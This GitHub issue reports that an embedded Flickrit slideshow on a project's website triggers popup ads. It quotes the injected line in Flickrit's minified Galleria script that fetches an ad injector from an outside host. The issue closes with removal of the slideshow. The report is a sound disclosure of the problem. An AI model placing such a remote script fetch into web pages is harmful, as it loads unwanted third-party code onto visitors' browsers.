Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Flickrit plugin causes popup ads on click #118

Open
allisonkong opened this issue Aug 24, 2016 · 1 comment
Open

Flickrit plugin causes popup ads on click #118

allisonkong opened this issue Aug 24, 2016 · 1 comment

Comments

@allisonkong
Copy link
Member

allisonkong commented Aug 24, 2016

If you go to the home page and click on the slideshow, you will get a popup ad.

The cause seems to lie with flickrit, which is a service that we currently use to generate the slideshow (we embed a flickrit page in an iframe). However, flickrit seems to have injected some malicious code into their site:

view-source:https://flickrit.com/slideshowholder.php?speed=5&count=100&height=60&size=big&userId=ruddockhouse&thumbnails=0&transition=1&layoutType=responsive&sort=0

If you look at the hosted source (https://www.dropbox.com/s/woiw6nvongzenfk/Screenshot%202016-08-23%2017.40.25.png?dl=0) for the Galleria js plugin, they have manually modified the minified js to contain the extra line:

$.getScript("//go.oclasrv.com/apu.php?zoneid=531283");

Which loads the ad injector.

What to do about it:

  • I will remove the slideshow from the website immediately.
  • The slideshow functionality should be rewritten so that it runs our code and not some third party's site. Until this happens, there will not be a slideshow.
allisonkong added a commit that referenced this issue Aug 24, 2016
@allisonkong
Copy link
Member Author

The slideshow is no longer on the prod site.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant